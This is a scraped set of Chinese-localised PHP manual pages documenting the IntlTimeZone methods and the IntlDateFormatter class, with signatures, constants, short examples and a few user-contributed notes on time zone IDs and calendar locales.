(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::countEquivalentIDs -- intltz_count_equivalent_ids — Get the number of IDs in the equivalency group that includes the given ID

说明

面向对象风格 (method):

public static IntlTimeZone::countEquivalentIDs(string $timezoneId): int|false

过程化风格:

intltz_count_equivalent_ids(string $timezoneId): int|false

Warning

本函数还未编写文档，仅有参数列表。

参数

timezoneId

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create a new copy of the default timezone for this host

  • ? IntlTimeZone::countEquivalentIDs
  • IntlTimeZone::createEnumeration ?
  • PHP Manual
  • IntlTimeZone
  • Create a new copy of the default timezone for this host

IntlTimeZone::createDefault

intltz_create_default

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::createDefault -- intltz_create_default — Create a new copy of the default timezone for this host

说明

面向对象风格 (method):

public static IntlTimeZone::createDefault(): IntlTimeZone

过程化风格:

intltz_create_default(): IntlTimeZone

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get an enumeration over time zone IDs associated with the given country or offset

  • ? IntlTimeZone::createDefault
  • IntlTimeZone::createTimeZone ?
  • PHP Manual
  • IntlTimeZone
  • Get an enumeration over time zone IDs associated with the given country or offset

IntlTimeZone::createEnumeration

intltz_create_enumeration

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::createEnumeration -- intltz_create_enumeration — Get an enumeration over time zone IDs associated with the given country or offset

说明

面向对象风格 (method):

public static IntlTimeZone::createEnumeration(IntlTimeZone|string|int|float|null $countryOrRawOffset = null): IntlIterator|false

过程化风格:

intltz_create_enumeration(IntlTimeZone|string|int|float|null $countryOrRawOffset = null): IntlIterator|false

Warning

本函数还未编写文档，仅有参数列表。

参数

countryOrRawOffset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create a timezone object for the given ID

  • ? IntlTimeZone::createEnumeration
  • IntlTimeZone::createTimeZoneIDEnumeration ?
  • PHP Manual
  • IntlTimeZone
  • Create a timezone object for the given ID

IntlTimeZone::createTimeZone

intltz_create_time_zone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::createTimeZone -- intltz_create_time_zone — Create a timezone object for the given ID

说明

面向对象风格 (method):

public static IntlTimeZone::createTimeZone(string $timezoneId): ?IntlTimeZone

过程化风格:

intltz_create_time_zone(string $timezoneId): ?IntlTimeZone

Warning

本函数还未编写文档，仅有参数列表。

参数

timezoneId

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get an enumeration over system time zone IDs with the given filter conditions

  • ? IntlTimeZone::createTimeZone
  • IntlTimeZone::fromDateTimeZone ?
  • PHP Manual
  • IntlTimeZone
  • Get an enumeration over system time zone IDs with the given filter conditions

IntlTimeZone::createTimeZoneIDEnumeration

intltz_create_time_zone_id_enumeration

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlTimeZone::createTimeZoneIDEnumeration -- intltz_create_time_zone_id_enumeration — Get an enumeration over system time zone IDs with the given filter conditions

说明

面向对象风格 (method):

public static IntlTimeZone::createTimeZoneIDEnumeration(int $type, ?string $region = null, ?int $rawOffset = null): IntlIterator|false

过程化风格:

intltz_create_time_zone_id_enumeration(int $type, ?string $region = null, ?int $rawOffset = null): IntlIterator|false

Warning

本函数还未编写文档，仅有参数列表。

参数

type

region

rawOffset

返回值

Returns IntlIterator 或者在失败时返回 false.

User Contributed Notes

mattkyn at gmail dot com 04-Mar-2022 11:36
Iterating the return value gives you a a string with the time zone ID (ie "Europe/London" or "Etc/GMT-1")

For the constants to use for the `zoneType` argument, see:
https://github.com/php/php-src/blob/master/ext/intl/timezone/timezone_class.cpp#L419-L421

<?php
IntlTimeZone::TYPE_ANY // the whole lot, including aliases like "CST"
IntlTimeZone::TYPE_CANONICAL // the canonical IDs (no aliases)
IntlTimeZone::TYPE_CANONICAL_LOCATION // only IDs for locations (no "Etc/GMT-1")
?>


Create a timezone object from DateTimeZone

  • ? IntlTimeZone::createTimeZoneIDEnumeration
  • IntlTimeZone::getCanonicalID ?
  • PHP Manual
  • IntlTimeZone
  • Create a timezone object from DateTimeZone

IntlTimeZone::fromDateTimeZone

intltz_from_date_time_zone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::fromDateTimeZone -- intltz_from_date_time_zone — Create a timezone object from DateTimeZone

说明

面向对象风格 (method):

public static IntlTimeZone::fromDateTimeZone(DateTimeZone $timezone): ?IntlTimeZone

过程化风格:

intltz_from_date_time_zone(DateTimeZone $timezone): ?IntlTimeZone

Warning

本函数还未编写文档，仅有参数列表。

参数

timezone

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID

  • ? IntlTimeZone::fromDateTimeZone
  • IntlTimeZone::getDisplayName ?
  • PHP Manual
  • IntlTimeZone
  • Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID

IntlTimeZone::getCanonicalID

intltz_get_canonical_id

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getCanonicalID -- intltz_get_canonical_id — Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID

说明

面向对象风格 (method):

public static IntlTimeZone::getCanonicalID(string $timezoneId, bool &$isSystemId = null): string|false

过程化风格:

intltz_get_canonical_id(string $timezoneId, bool &$isSystemId = null): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

timezoneId

isSystemId

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get a name of this time zone suitable for presentation to the user

  • ? IntlTimeZone::getCanonicalID
  • IntlTimeZone::getDSTSavings ?
  • PHP Manual
  • IntlTimeZone
  • Get a name of this time zone suitable for presentation to the user

IntlTimeZone::getDisplayName

intltz_get_display_name

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getDisplayName -- intltz_get_display_name — Get a name of this time zone suitable for presentation to the user

说明

面向对象风格 (method):

public IntlTimeZone::getDisplayName(bool $dst = false, int $style = IntlTimeZone::DISPLAY_LONG, ?string $locale = null): string|false

过程化风格:

intltz_get_display_name(
IntlTimeZone $timezone,
bool $dst = false,
int $style = IntlTimeZone::DISPLAY_LONG,
?string $locale = null
): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

dst

style

locale

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the amount of time to be added to local standard time to get local wall clock time

  • ? IntlTimeZone::getDisplayName
  • IntlTimeZone::getEquivalentID ?
  • PHP Manual
  • IntlTimeZone
  • Get the amount of time to be added to local standard time to get local wall clock time

IntlTimeZone::getDSTSavings

intltz_get_dst_savings

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getDSTSavings -- intltz_get_dst_savings — Get the amount of time to be added to local standard time to get local wall clock time

说明

面向对象风格 (method):

public IntlTimeZone::getDSTSavings(): int

过程化风格:

intltz_get_dst_savings(IntlTimeZone $timezone): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get an ID in the equivalency group that includes the given ID

  • ? IntlTimeZone::getDSTSavings
  • IntlTimeZone::getErrorCode ?
  • PHP Manual
  • IntlTimeZone
  • Get an ID in the equivalency group that includes the given ID

IntlTimeZone::getEquivalentID

intltz_get_equivalent_id

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getEquivalentID -- intltz_get_equivalent_id — Get an ID in the equivalency group that includes the given ID

说明

面向对象风格 (method):

public static IntlTimeZone::getEquivalentID(string $timezoneId, int $offset): string|false

过程化风格:

intltz_get_equivalent_id(string $timezoneId, int $offset): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

timezoneId

offset

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • ? IntlTimeZone::getEquivalentID
  • IntlTimeZone::getErrorMessage ?
  • PHP Manual
  • IntlTimeZone
  • Get last error code on the object

IntlTimeZone::getErrorCode

intltz_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getErrorCode -- intltz_get_error_code — Get last error code on the object

说明

面向对象风格 (method):

public IntlTimeZone::getErrorCode(): int|false

过程化风格:

intltz_get_error_code(IntlTimeZone $timezone): int|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • ? IntlTimeZone::getErrorCode
  • IntlTimeZone::getGMT ?
  • PHP Manual
  • IntlTimeZone
  • Get last error message on the object

IntlTimeZone::getErrorMessage

intltz_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getErrorMessage -- intltz_get_error_message — Get last error message on the object

说明

面向对象风格 (method):

public IntlTimeZone::getErrorMessage(): string|false

过程化风格:

intltz_get_error_message(IntlTimeZone $timezone): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Create GMT (UTC) timezone

  • ? IntlTimeZone::getErrorMessage
  • IntlTimeZone::getID ?
  • PHP Manual
  • IntlTimeZone
  • Create GMT (UTC) timezone

IntlTimeZone::getGMT

intltz_get_gmt

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getGMT -- intltz_get_gmt — Create GMT (UTC) timezone

说明

面向对象风格 (method):

public static IntlTimeZone::getGMT(): IntlTimeZone

过程化风格:

intltz_get_gmt(): IntlTimeZone

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get timezone ID

  • ? IntlTimeZone::getGMT
  • IntlTimeZone::getIDForWindowsID ?
  • PHP Manual
  • IntlTimeZone
  • Get timezone ID

IntlTimeZone::getID

intltz_get_id

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getID -- intltz_get_id — Get timezone ID

说明

面向对象风格 (method):

public IntlTimeZone::getID(): string|false

过程化风格:

intltz_get_id(IntlTimeZone $timezone): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Translate a Windows timezone into a system timezone

  • ? IntlTimeZone::getID
  • IntlTimeZone::getOffset ?
  • PHP Manual
  • IntlTimeZone
  • Translate a Windows timezone into a system timezone

IntlTimeZone::getIDForWindowsID

intltz_get_id_for_windows_id

(PHP 7 >= 7.1.0, PHP 8)

IntlTimeZone::getIDForWindowsID -- intltz_get_id_for_windows_id — Translate a Windows timezone into a system timezone

说明

面向对象风格 (method):

public static IntlTimeZone::getIDForWindowsID(string $timezoneId, ?string $region = null): string|false

过程化风格:

intltz_get_id_for_windows_id(string $timezoneId, ?string $region = null): string|false

Translates a Windows timezone (e.g. "Pacific Standard Time") into a system timezone (e.g. "America/Los_Angeles").

Note: This function requires ICU version ≥ 52.

Warning

本函数还未编写文档，仅有参数列表。

参数

timezoneId

region

返回值

Returns the system timezone 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0 | region is now nullable.

参见

  • IntlTimeZone::getWindowsID() - Translate a system timezone into a Windows timezone

User Contributed Notes

There are no user contributed notes for this page.


Get the time zone raw and GMT offset for the given moment in time

  • ? IntlTimeZone::getIDForWindowsID
  • IntlTimeZone::getRawOffset ?
  • PHP Manual
  • IntlTimeZone
  • Get the time zone raw and GMT offset for the given moment in time

IntlTimeZone::getOffset

intltz_get_offset

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getOffset -- intltz_get_offset — Get the time zone raw and GMT offset for the given moment in time

说明

面向对象风格 (method):

public IntlTimeZone::getOffset(
float $timestamp,
bool $local,
int &$rawOffset,
int &$dstOffset
): bool

过程化风格:

intltz_get_offset(
IntlTimeZone $timezone,
float $timestamp,
bool $local,
int &$rawOffset,
int &$dstOffset
): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

timestamp

local

rawOffset

dstOffset

返回值

User Contributed Notes

Anonymous 13-Jul-2018 09:22
/**
 * Function IntlTimeZone::getOffset()
 * @link http://icu-project.org/apiref/icu4c/classicu_1_1TimeZone.html#afcbc1c48bf0b453b0123c4cb75d20e96
 * @param float $date
 *   moment in time for which to return offsets, in units of milliseconds from
 *   January 1, 1970 0:00 GMT, either GMT time or local wall time, depending on
 *   `local'.
 * @param bool $local
 *   if true, `date' is local wall time; otherwise it is in GMT time.
 * @param int &$rawOffset
 *   output parameter to receive the raw offset, that is, the offset not
 *   including DST adjustments
 * @param int &$dstOffset
 *   output parameter to receive the DST offset, that is, the offset to be added
 *   to `rawOffset' to obtain the total offset between local and GMT time. If
 *   DST is not in effect, this value is zero; otherwise it is a positive value,
 *   typically one hour.
 */


Get the raw GMT offset (before taking daylight savings time into account

  • ? IntlTimeZone::getOffset
  • IntlTimeZone::getRegion ?
  • PHP Manual
  • IntlTimeZone
  • Get the raw GMT offset (before taking daylight savings time into account

IntlTimeZone::getRawOffset

intltz_get_raw_offset

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getRawOffset -- intltz_get_raw_offset — Get the raw GMT offset (before taking daylight savings time into account

说明

面向对象风格 (method):

public IntlTimeZone::getRawOffset(): int

过程化风格:

intltz_get_raw_offset(IntlTimeZone $timezone): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

Anonymous 12-Jul-2018 06:34
The return value is the difference, in milliseconds, between UTC and local time. Note that this means that the offset is positive if the local timezone is behind UTC and negative if it is ahead.


Get the region code associated with the given system time zone ID

  • ? IntlTimeZone::getRawOffset
  • IntlTimeZone::getTZDataVersion ?
  • PHP Manual
  • IntlTimeZone
  • Get the region code associated with the given system time zone ID

IntlTimeZone::getRegion

intltz_get_region

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlTimeZone::getRegion -- intltz_get_region — Get the region code associated with the given system time zone ID

说明

面向对象风格 (method):

public static IntlTimeZone::getRegion(string $timezoneId): string|false

过程化风格:

intltz_get_region(string $timezoneId): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

timezoneId

返回值

Return region 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get the timezone data version currently used by ICU

  • ? IntlTimeZone::getRegion
  • IntlTimeZone::getUnknown ?
  • PHP Manual
  • IntlTimeZone
  • Get the timezone data version currently used by ICU

IntlTimeZone::getTZDataVersion

intltz_get_tz_data_version

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::getTZDataVersion -- intltz_get_tz_data_version — Get the timezone data version currently used by ICU

说明

面向对象风格 (method):

public static IntlTimeZone::getTZDataVersion(): string|false

过程化风格:

intltz_get_tz_data_version(): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the "unknown" time zone

  • ? IntlTimeZone::getTZDataVersion
  • IntlTimeZone::getWindowsID ?
  • PHP Manual
  • IntlTimeZone
  • Get the "unknown" time zone

IntlTimeZone::getUnknown

intltz_get_unknown

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

IntlTimeZone::getUnknown -- intltz_get_unknown — Get the "unknown" time zone

说明

面向对象风格 (method):

public static IntlTimeZone::getUnknown(): IntlTimeZone

过程化风格:

intltz_get_unknown(): IntlTimeZone

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns IntlTimeZone or null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Translate a system timezone into a Windows timezone

  • ? IntlTimeZone::getUnknown
  • IntlTimeZone::hasSameRules ?
  • PHP Manual
  • IntlTimeZone
  • Translate a system timezone into a Windows timezone

IntlTimeZone::getWindowsID

intltz_get_windows_id

(PHP 7 >= 7.1.0, PHP 8)

IntlTimeZone::getWindowsID -- intltz_get_windows_id — Translate a system timezone into a Windows timezone

说明

面向对象风格 (method):

public static IntlTimeZone::getWindowsID(string $timezoneId): string|false

过程化风格:

intltz_get_windows_id(string $timezoneId): string|false

Translates a system timezone (e.g. "America/Los_Angeles") into a Windows timezone (e.g. "Pacific Standard Time").

Note: This function requires ICU version ≥ 52.

Warning

本函数还未编写文档，仅有参数列表。

参数

timezoneId

返回值

Returns the Windows timezone 或者在失败时返回 false.

参见

  • IntlTimeZone::getIDForWindowsID() - Translate a Windows timezone into a system timezone

User Contributed Notes

There are no user contributed notes for this page.


Check if this zone has the same rules and offset as another zone

  • ? IntlTimeZone::getWindowsID
  • IntlTimeZone::toDateTimeZone ?
  • PHP Manual
  • IntlTimeZone
  • Check if this zone has the same rules and offset as another zone

IntlTimeZone::hasSameRules

intltz_has_same_rules

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::hasSameRules -- intltz_has_same_rules — Check if this zone has the same rules and offset as another zone

说明

面向对象风格 (method):

public IntlTimeZone::hasSameRules(IntlTimeZone $other): bool

过程化风格:

intltz_has_same_rules(IntlTimeZone $timezone, IntlTimeZone $other): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

other

返回值

User Contributed Notes

There are no user contributed notes for this page.


Convert to DateTimeZone object

  • ? IntlTimeZone::hasSameRules
  • IntlTimeZone::useDaylightTime ?
  • PHP Manual
  • IntlTimeZone
  • Convert to DateTimeZone object

IntlTimeZone::toDateTimeZone

intltz_to_date_time_zone

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::toDateTimeZone -- intltz_to_date_time_zone — Convert to DateTimeZone object

说明

面向对象风格 (method):

public IntlTimeZone::toDateTimeZone(): DateTimeZone|false

过程化风格:

intltz_to_date_time_zone(IntlTimeZone $timezone): DateTimeZone|false

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Check if this time zone uses daylight savings time

  • ? IntlTimeZone::toDateTimeZone
  • IntlDateFormatter ?
  • PHP Manual
  • IntlTimeZone
  • Check if this time zone uses daylight savings time

IntlTimeZone::useDaylightTime

intltz_use_daylight_time

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlTimeZone::useDaylightTime -- intltz_use_daylight_time — Check if this time zone uses daylight savings time

说明

面向对象风格 (method):

public IntlTimeZone::useDaylightTime(): bool

过程化风格:

intltz_use_daylight_time(IntlTimeZone $timezone): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The IntlDateFormatter class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

简介

Date Formatter is a concrete class that enables locale-dependent formatting/parsing of dates using pattern strings and/or canned patterns.

This class represents the ICU date formatting functionality. It allows users to display dates in a localized format or to parse strings into PHP date values using pattern strings and/or canned patterns.

Class synopsis

class IntlDateFormatter {
/* 常量 */
public const int FULL;
public const int LONG;
public const int MEDIUM;
public const int SHORT;
public const int NONE;
public const int RELATIVE_FULL;
public const int RELATIVE_LONG;
public const int RELATIVE_MEDIUM;
public const int RELATIVE_SHORT;
public const int GREGORIAN;
public const int TRADITIONAL;
/* 方法 */
public __construct(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
)
public static create(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
): ?IntlDateFormatter
public format(IntlCalendar|DateTimeInterface|array|string|int|float $datetime): string|false
public static formatObject(IntlCalendar|DateTimeInterface $datetime, array|int|string|null $format = null, ?string $locale = null): string|false
public getCalendar(): int|false
public getDateType(): int|false
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false
public getPattern(): string|false
public getTimeType(): int|false
public getTimeZoneId(): string|false
public getCalendarObject(): IntlCalendar|false|null
public getTimeZone(): IntlTimeZone|false
public isLenient(): bool
public localtime(string $string, int &$offset = null): array|false
public parse(string $string, int &$offset = null): int|float|false
public setCalendar(IntlCalendar|int|null $calendar): bool
public setLenient(bool $lenient): void
public setPattern(string $pattern): bool
public setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): ?bool
}

参见

  • » ICU Date formatter
  • » ICU Date formats

预定义常量

These constants are used to specify different formats in the constructor for DateType and TimeType.

IntlDateFormatter::NONE
Do not include this element
IntlDateFormatter::FULL
Completely specified style (Tuesday, April 12, 1952 AD or 3:30:42pm PST)
IntlDateFormatter::LONG
Long style (January 12, 1952 or 3:30:32pm)
IntlDateFormatter::MEDIUM
Medium style (Jan 12, 1952)
IntlDateFormatter::SHORT
Most abbreviated style, only essential data (12/13/52 or 3:30pm)
IntlDateFormatter::RELATIVE_FULL
The same as IntlDateFormatter::FULL, but yesterday, today, and tomorrow show as yesterday, today, and tomorrow, respectively. Available as of PHP 8.0.0, for dateType only.
IntlDateFormatter::RELATIVE_LONG
The same as IntlDateFormatter::LONG, but yesterday, today, and tomorrow show as yesterday, today, and tomorrow, respectively. Available as of PHP 8.0.0, for dateType only.
IntlDateFormatter::RELATIVE_MEDIUM
The same as IntlDateFormatter::MEDIUM, but yesterday, today, and tomorrow show as yesterday, today, and tomorrow, respectively. Available as of PHP 8.0.0, for dateType only.
IntlDateFormatter::RELATIVE_SHORT
The same as IntlDateFormatter::SHORT, but yesterday, today, and tomorrow show as yesterday, today, and tomorrow, respectively. Available as of PHP 8.0.0, for dateType only.

The following int constants are used to specify the calendar. These calendars are all based directly on the Gregorian calendar. Non-Gregorian calendars need to be specified in locale. Examples might include locale="hi@calendar=BUDDHIST".

IntlDateFormatter::TRADITIONAL
Non-Gregorian Calendar
IntlDateFormatter::GREGORIAN
Gregorian Calendar

Table of Contents

  • IntlDateFormatter::create — Create a date formatter
  • IntlDateFormatter::format — Format the date/time value as a string
  • IntlDateFormatter::formatObject — Formats an object
  • IntlDateFormatter::getCalendar — Get the calendar type used for the IntlDateFormatter
  • IntlDateFormatter::getDateType — Get the datetype used for the IntlDateFormatter
  • IntlDateFormatter::getErrorCode — Get the error code from last operation
  • IntlDateFormatter::getErrorMessage — Get the error text from the last operation
  • IntlDateFormatter::getLocale — Get the locale used by formatter
  • IntlDateFormatter::getPattern — Get the pattern used for the IntlDateFormatter
  • IntlDateFormatter::getTimeType — Get the timetype used for the IntlDateFormatter
  • IntlDateFormatter::getTimeZoneId — Get the timezone-id used for the IntlDateFormatter
  • IntlDateFormatter::getCalendarObject — Get copy of formatter?s calendar object
  • IntlDateFormatter::getTimeZone — Get formatter?s timezone
  • IntlDateFormatter::isLenient — Get the lenient used for the IntlDateFormatter
  • IntlDateFormatter::localtime — Parse string to a field-based time value
  • IntlDateFormatter::parse — Parse string to a timestamp value
  • IntlDateFormatter::setCalendar — Sets the calendar type used by the formatter
  • IntlDateFormatter::setLenient — Set the leniency of the parser
  • IntlDateFormatter::setPattern — Set the pattern used for the IntlDateFormatter
  • IntlDateFormatter::setTimeZone — Sets formatter?s timezone

User Contributed Notes

There are no user contributed notes for this page.


Create a date formatter

  • ? IntlDateFormatter
  • IntlDateFormatter::format ?
  • PHP Manual
  • IntlDateFormatter
  • Create a date formatter

IntlDateFormatter::create

datefmt_create

IntlDateFormatter::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::create -- datefmt_create -- IntlDateFormatter::__construct — Create a date formatter

说明

面向对象风格

public static IntlDateFormatter::create(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
): ?IntlDateFormatter

面向对象风格 (constructor)

public IntlDateFormatter::__construct(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
)

过程化风格

datefmt_create(
?string $locale,
int $dateType = IntlDateFormatter::FULL,
int $timeType = IntlDateFormatter::FULL,
IntlTimeZone|DateTimeZone|string|null $timezone = null,
IntlCalendar|int|null $calendar = null,
?string $pattern = null
): ?IntlDateFormatter

Create a date formatter.

参数

locale

Locale to use when formatting or parsing or null to use the value specified in the ini setting intl.default_locale.

dateType

Format of the date determined by one of the IntlDateFormatter constants. The default value is IntlDateFormatter::FULL.

timeType

Format of the time determined by one of the IntlDateFormatter constants. The default value is IntlDateFormatter::FULL.

timezone

Time zone ID. The default (and the one used if null is given) is the one returned by date_default_timezone_get() or, if applicable, that of the IntlCalendar object passed for the calendar parameter. This ID must be a valid identifier on ICU?s database or an ID representing an explicit offset, such as GMT-05:30.

This can also be an IntlTimeZone or a DateTimeZone object.

calendar

Calendar to use for formatting or parsing. The default value is null, which corresponds to IntlDateFormatter::GREGORIAN. This can either be one of the IntlDateFormatter calendar constants or an IntlCalendar. Any IntlCalendar object passed will be clone; it will not be changed by the IntlDateFormatter. This will determine the calendar type used (gregorian, islamic, persian, etc.) and, if null is given for the timezone parameter, also the timezone used.

pattern

Optional pattern to use when formatting or parsing. Possible patterns are documented at » https://unicode-org.github.io/icu/userguide/format_parse/datetime/.

返回值

The created IntlDateFormatter or null in case of failure.

更新日志

版本 | 说明
8.1.0 | Parameters dateType and timeType are now optional.

示例

Example #1 datefmt_create() example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles', IntlDateFormatter::GREGORIAN );
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN );
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN ,"MM/dd/yyyy");
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN );
echo "First Formatted output is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN );
echo "Second Formatted output is ".$fmt->format(0);

$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN , "MM/dd/yyyy");
echo "Second Formatted output with pattern is ".$fmt->format(0);
?>

Example #3 Example of invalid locale handling

<?php
try {
$fmt = new IntlDateFormatter(
'invalid_locale',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'dunno',
IntlDateFormatter::GREGORIAN,
);
} catch (\Error $e) {
// ...
}
?>

以上示例会输出：

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

参见

  • datefmt_format() - Format the date/time value as a string
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

info at mobger dot de 04-Feb-2023 07:50
The $locale can although contain the information about the calendar

<?php
//...
        $traditionalFormatter  =  new IntlDateFormatter(
            $locale.'@calendar='.$calendar,
            IntlDateFormatter::SHORT,
            IntlDateFormatter::SHORT,
            'Europe/Berlin',
            IntlDateFormatter::TRADITIONAL,
            'yyyy/MM/dd HH:mm:ss' // ICU-datetime-format
        );
//..
?>

To get the allowed values for $calendar, use the following code:

<?php
$bundle=new ResourceBundle('','ICUDATA');
$cnames=[];
$calendars=$bundle->get('calendar');
foreach($calendars as $n=>$v){
    $cnames[]=$n;
}
echo (print_r($cnames,true));

?>

The result is:
Array
(
    [0] => buddhist
    [1] => chinese
    [2] => coptic
    [3] => dangi
    [4] => default
    [5] => ethiopic
    [6] => ethiopic-amete-alem
    [7] => gregorian
    [8] => hebrew
    [9] => indian
    [10] => islamic
    [11] => islamic-civil
    [12] => japanese
    [13] => persian
    [14] => roc
)
Patanjali 11-Aug-2021 07:20
Just to be clear, to use any non-gregorian calendar:

a. The locale must be in the form of locale@calendar=calendar-name

b. The calendar must use the intlDateFormatter::TRADITIONAL constant, or an intlCalendar object created with a locale as specified in a.

